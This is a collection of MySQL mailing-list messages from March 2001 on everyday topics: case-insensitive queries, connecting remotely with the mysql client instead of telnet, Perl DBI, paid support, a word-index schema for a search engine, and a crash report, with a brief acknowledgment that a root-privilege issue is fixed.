01993 880614 Fax: 01993 881625 The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Case Sensitive??
On Thu, 22 Mar 2001 17:01:35 -0600, "Cal Evans" [EMAIL PROTECTED] wrote: Thank Cal, I found the problem in our coding, not the query, so it works fine now! My apologies to the list. Appreciate the help :) Try Select * from table where upper(bus_name)= upper('whater I am searching for'); Cal http://www.calevans.com -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]On Behalf Of MikemickaloBlezien Sent: Thursday, March 22, 2001 4:02 PM To: [EMAIL PROTECTED] Subject: Case Sensitive?? Hello All, I have a table with a column called "bus_name" varchar(100) which is used in a Business Name search form. I need to make the Business Name that is entered into the search form case in-sensitive to the column "bus_name" IE. If we have a entry in the column "bus_name" "The Happy Shop", and someone enters "the happy shop" or "THE HAPPY SHOP", it will still return a match. If I add the attribute "BINARY" to the colunm "bus_name" will this make it case-insensitive or is there another way to do this within the SQL query?? TIA, Mike(mickalo)Blezien Thunder Rain Internet Publishing Providing Internet Solutions that work! http://www.thunder-rain.com Tel: 1(225) 686-2002 = - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php Mike(mickalo)Blezien Thunder Rain Internet Publishing Providing Internet Solutions that work! http://www.thunder-rain.com Tel: 1(225) 686-2002 = - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
howto: telnet shell
i have a MySQL server running in my office. i need to be able to telnet into the MySQL server remotely. can anyone point me at documentation that will tell me how? right now (from a dos window) when i issue: TELNET server.name 3306 - it reports "BAD HANDSHAKE" i think that somehow i need to supply a user name and password, but unclear how to accomplish. thanks - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: howto: telnet shell
Hi, You don't telnet to the server, you use the mysql command line client $ mysql --host="yourhost" etc. Quentin -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]] Sent: Friday, 23 March 2001 12:53 p.m. To: [EMAIL PROTECTED] Subject: howto: telnet shell i have a MySQL server running in my office. i need to be able to telnet into the MySQL server remotely. can anyone point me at documentation that will tell me how? right now (from a dos window) when i issue: TELNET server.name 3306 - it reports "BAD HANDSHAKE" i think that somehow i need to supply a user name and password, but unclear how to accomplish. thanks - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php The information contained in this email is privileged and confidential and intended for the addressee only. If you are not the intended recipient, you are asked to respect that confidentiality and not disclose, copy or make use of its contents. If received in error you are asked to destroy this email and contact the sender immediately. Your assistance is appreciated. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: howto: telnet shell
do you mean that you want to go into the database console directly from your office? Alan. i have a MySQL server running in my office. i need to be able to telnet into the MySQL server remotely. can anyone point me at documentation that will tell me how? right now (from a dos window) when i issue: TELNET server.name 3306 - it reports "BAD HANDSHAKE" i think that somehow i need to supply a user name and password, but unclear how to accomplish. thanks - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php -- Åwªï¨Ï¥ÎHongKong.com¶l¥ó¨t²Î Thank you for using hongkong.com Email system - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Can someone explain this for a new user?
Using a Win2K server, with 3.23.34 of mySQL - get these messages occassionally and have set the service to restart on a sudden stop. Database error in vBulletin: Link-ID == false, connect failed mysql error: mysql error number: Date: Friday 23rd of March 2001 02:06:06 PM Script: ***Attention*** This e-mail message is privileged and confidential. If you are not the intended recipient please delete the message and notify the sender. Any views or opinions presented are solely those of the author. LANtech Network Specialists Ltd PH: +64 4 4992661 FX: +64 4 4992676 http://lantech.co.nz , [EMAIL PROTECTED] This e-mail message has been scanned for Viruses and Content and cleared by MailMarshal - For more information please contact LANtech.
MySQL question
Hello, I am developing a web database for a new small-time real estate company, and I have been reading into using MySQL. I have read that there is minimal email support for MySQL problems, unless one pays for one of your 5 support packages. What I would like to know is, if they decide to use MySQL, how much support is "minimal" support? What will you guys answer and not answer if they do not pay for the support? (I have recommended to my clients to go with the $200 a year package, but this was one of their questions before making a decision.) Thank you for your time! Erik Slazyk _ Get your FREE download of MSN Explorer at http://explorer.msn.com - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
MYSQL using PERL
Hai, I am using Red Hat Linux 7. From where can I get example programmes of connectiong to MYSQL using PERL under Linux. Thankyou Rajeev Ramanujan
Re: MySQL question
I don't know how you define 'minimal' but approximately 100+ emails per day from the user list and a response time from 5 minutes to 24 hours should be adequate for the average "small-time real estate company" as you call it. Coming to "What will you guys answer and not answer", I guess there is no pattern. Whatever one fancys. Then again, since some people should be making smthing out of it, I suggest you go for the $200 package, even if you do get your answers through this list :-) regards, thalis On Fri, 23 Mar 2001, Erik Slazyk wrote: Hello, I am developing a web database for a new small-time real estate company, and I have been reading into using MySQL. I have read that there is minimal email support for MySQL problems, unless one pays for one of your 5 support packages. What I would like to know is, if they decide to use MySQL, how much support is "minimal" support? What will you guys answer and not answer if they do not pay for the support? (I have recommended to my clients to go with the $200 a year package, but this was one of their questions before making a decision.) Thank you for your time! Erik Slazyk _ Get your FREE download of MSN Explorer at http://explorer.msn.com - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: MYSQL using PERL
Hi, Have you installed DBI/DBD?? if so you can perldoc DBI or perldoc mysql_dbd to read the manual. Alan. Hai, I am using Red Hat Linux 7. From where can I get example programmes of connectiong to MYSQL using PERL under Linux. Thankyou Rajeev Ramanujan -- Åwªï¨Ï¥ÎHongKong.com¶l¥ó¨t²Î Thank you for using hongkong.com Email system - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: RE: howto: telnet shell
as someone else has mentioned, you would need to install mysql client into your computer and then use the command mysql -uuserid -hhosename -p to access your remote database. Alan. yes, that is what i am wanting to do. i have found a way around by using uSOFT Query, but would like to get to a command line type connection (remotely). thanks -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]] Sent: Thursday, March 22, 2001 6:53 PM To: [EMAIL PROTECTED]; [EMAIL PROTECTED] Subject: Re: howto: telnet shell do you mean that you want to go into the database console directly from your office? Alan. i have a MySQL server running in my office. i need to be able to telnet into the MySQL server remotely. can anyone point me at documentation that will tell me how? right now (from a dos window) when i issue: TELNET server.name 3306 - it reports "BAD HANDSHAKE" i think that somehow i need to supply a user name and password, but unclear how to accomplish. thanks - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php -- Åwªï¨Ï¥ÎHongKong.com¶l¥ó¨t²Î Thank you for using hongkong.com Email system - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php -- Åwªï¨Ï¥ÎHongKong.com¶l¥ó¨t²Î Thank you for using hongkong.com Email system - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Large search engine
Hi, I am planning a very large search engine. I've spent some time reading the archive and I found some suggestions on how to do this. The word indexing method is a very interesting alternative to slow "...where like '%foo%';" queries. There is from 100k to 500k documents to index, each are about 10 KBytes large. Plain text. The search engine will allow complex boolean queries (AND, OR, NEAR, NOT). I have 2 plans in mind, I'd like to have opinions on what's would be the most efficient. First Way: We populate 2 tables: one containing the documents (text and ID) one containing all the words and the documents ID containing each word The idea is to first filter the documents and then to perform a query in the documents that contains at least one of the words, so we're supposed to get a decent speed. I know this is used by many people and I know it gives good results, even when searching through 100k+ documents. Although, I am wondering if there is not a way to do it without any use of LIKE statements. I really don't know if what I have in mind is a good idea, it may be completely stupid and inefficient, I have very little DB experiences. Anyways, what if in the table containing the words and the matching document ID's, we also specify where in each documents the word is located. ex: WORD| DOCS | LOCATIONS sun | 32;45;1302 | 3 ; 554,1022 ; 76,675,3445 So word sun is the third word of doc 32, the 554th and 1022th word doc 45, etc.. Then the search script will do all the job without sending any other queries. May get quite complicated but it should work, it may also be easier to process sun NEAR star (maybe this is easy to do with LIKE too, I don't know, but I saw nothing in the docs.) Thank you, Cedric Veilleux - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: warning: mysql local root exploit when running as root
Hello. On Thu, Mar 22, 2001 at 10:43:18PM +0100, [EMAIL PROTECTED] wrote: Hello This one appeared on a Debian mailing list. I know that this is fixed in the latest versions as they allow running the server as non-root user and so it is not considered as a bug () but I'm sure that there're administrators out there which are not aware of this exploiting method! [...] There was just yesterday a big thread regarding exactly this issue. Anyhow, thank you for reporting. As far as I can tell, this is already fixed and will be available with the next 3.23 release (after the weekend, I guess). Bye, Benjamin. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
What this mean?
When I use C API ,mysql_query. I got an error : Commands out of sync; You can't run this command now what this mean and what should I do? - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Large search engine
where's the second option? about your construction: We populate 2 tables: one containing the documents (text and ID) one containing all the words and the documents ID containing each word how you plan to make 1 table with words, and several (unlimited) document_ids? what you'll need is: 1 table with doc_ids (and perhaps document) 1 table with words 1 table which links words to docs 1 table which gives the position of a word in a doc. create table documents (doc_id integer primary key auto_increment, document text); create table words (word_id integer primary key auto_increment, word varchar(255)); create table occurences (occ_id integer primary key auto_increment, doc_id integer, word_id integer); create table positions (pos_id integer primary key auto_increment, occ_id integer, position integer); this way you can handle "unlimited" words with "unlimited" occurences in "unlimited" documents. any other solution would force you to construct very inefficient tables, or use of blob fields which really horribly would slow down your db when adding data for example, and is generally a very very bad way you shouldn't even think of. More tables may look like more programming, but you'll notice things are easier since this is a correct solution. i'd suggest you read some stuff about normalisation though! get a nice (my)sql book, or search for online docs (loads of references can be found in this mailing list for example!) btw: your email address looks like "postmaster", is this a bug in the lists or are you subscribed as postmaster? regards, rene - Original Message - From: "Cedric Veilleux" [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Friday, March 23, 2001 4:30 AM Subject: Large search engine Hi, I am planning a very large search engine. I've spent some time reading the archive and I found some suggestions on how to do this. The word indexing method is a very interesting alternative to slow "...where like '%foo%';" queries. There is from 100k to 500k documents to index, each are about 10 KBytes large. Plain text. The search engine will allow complex boolean queries (AND, OR, NEAR, NOT). I have 2 plans in mind, I'd like to have opinions on what's would be the most efficient. First Way: We populate 2 tables: one containing the documents (text and ID) one containing all the words and the documents ID containing each word The idea is to first filter the documents and then to perform a query in the documents that contains at least one of the words, so we're supposed to get a decent speed. I know this is used by many people and I know it gives good results, even when searching through 100k+ documents. Although, I am wondering if there is not a way to do it without any use of LIKE statements. I really don't know if what I have in mind is a good idea, it may be completely stupid and inefficient, I have very little DB experiences. Anyways, what if in the table containing the words and the matching document ID's, we also specify where in each documents the word is located. ex: WORD| DOCS | LOCATIONS sun | 32;45;1302 | 3 ; 554,1022 ; 76,675,3445 So word sun is the third word of doc 32, the 554th and 1022th word doc 45, etc.. Then the search script will do all the job without sending any other queries. May get quite complicated but it should work, it may also be easier to process sun NEAR star (maybe this is easy to do with LIKE too, I don't know, but I saw nothing in the docs.) Thank you, Cedric Veilleux - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: howto: telnet shell
Why not just telnet into the server where mysql is running and log into mysql from there? That way, there is no need to install mysql client. It look like he already has a telnet client on the computer... Seung-woo Nam [EMAIL PROTECTED] wrote: as someone else has mentioned, you would need to install mysql client into your computer and then use the command mysql -uuserid -hhosename -p to access your remote database. Alan. yes, that is what i am wanting to do. i have found a way around by using uSOFT Query, but would like to get to a command line type connection (remotely). thanks -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]] Sent: Thursday, March 22, 2001 6:53 PM To: [EMAIL PROTECTED]; [EMAIL PROTECTED] Subject: Re: howto: telnet shell do you mean that you want to go into the database console directly from your office? Alan. i have a MySQL server running in my office. i need to be able to telnet into the MySQL server remotely. can anyone point me at documentation that will tell me how? right now (from a dos window) when i issue: TELNET server.name 3306 - it reports "BAD HANDSHAKE" i think that somehow i need to supply a user name and password, but unclear how to accomplish. thanks - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: howto: telnet shell
maybe he hasn't got telnet server. probably win32 w2k. - Original Message - From: "Seung-woo Nam" [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Friday, March 23, 2001 6:41 AM Subject: Re: howto: telnet shell Why not just telnet into the server where mysql is running and log into mysql from there? That way, there is no need to install mysql client. It look like he already has a telnet client on the computer... Seung-woo Nam [EMAIL PROTECTED] wrote: as someone else has mentioned, you would need to install mysql client into your computer and then use the command mysql -uuserid -hhosename -p to access your remote database. Alan. yes, that is what i am wanting to do. i have found a way around by using uSOFT Query, but would like to get to a command line type connection (remotely). thanks -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]] Sent: Thursday, March 22, 2001 6:53 PM To: [EMAIL PROTECTED]; [EMAIL PROTECTED] Subject: Re: howto: telnet shell do you mean that you want to go into the database console directly from your office? Alan. i have a MySQL server running in my office. i need to be able to telnet into the MySQL server remotely. can anyone point me at documentation that will tell me how? right now (from a dos window) when i issue: TELNET server.name 3306 - it reports "BAD HANDSHAKE" i think that somehow i need to supply a user name and password, but unclear how to accomplish. thanks - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Connection related SIG 11 crash in 3.23
Ok... I've posted briefly regarding this, but heres a complete bug report. Yeah I know its kinda long, but I thought it better to include more rather than less. We are seeing a problem which results in mysqld dying with a SIGSEGV. The problem has been confirmed on both these machines Linux lindt 2.2.18 #2 SMP Mon Feb 26 15:23:32 EST 2001 i686 unknown Dell PowerEdge 4300 - Dual Pentium 3-500 - 1Gb RAM, 1.6Gb swap Linux lisa 2.4.1 #7 SMP Fri Feb 16 15:21:45 EST 2001 i686 unknown IBM Rackmount Server 325 - Dual Pentium Pro-200 - 512Mb RAM, 1Gb Swap And using mysqld versions 3.23.32,3.23.33 and 3.23.35. To confirm that the problem isn't related to libraries, compilers or configuration specific to our build environment, I have also tested the standard linux-i386 binary distro of 3.23.35, and the problem also exists there. I tested your case on my test machine (Redhat 6.2 with latest patches): Linux krusty 2.2.16-4.lfs #1 Wed Jul 12 14:08:46 EDT 2000 i686 unknown IBM P-Pro 200 256MB 128MB Swap Using a self compiled RPM of MySQL 3.23.35 - no problems here. How long must I run before the problem manifests itself? 30mins ok? It is still running though. I see both your machines are SMP. Try to boot with a UNI Processor kernel and see again. There have been problems in the past with SMP installations. -- Richard Ellerbrock [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php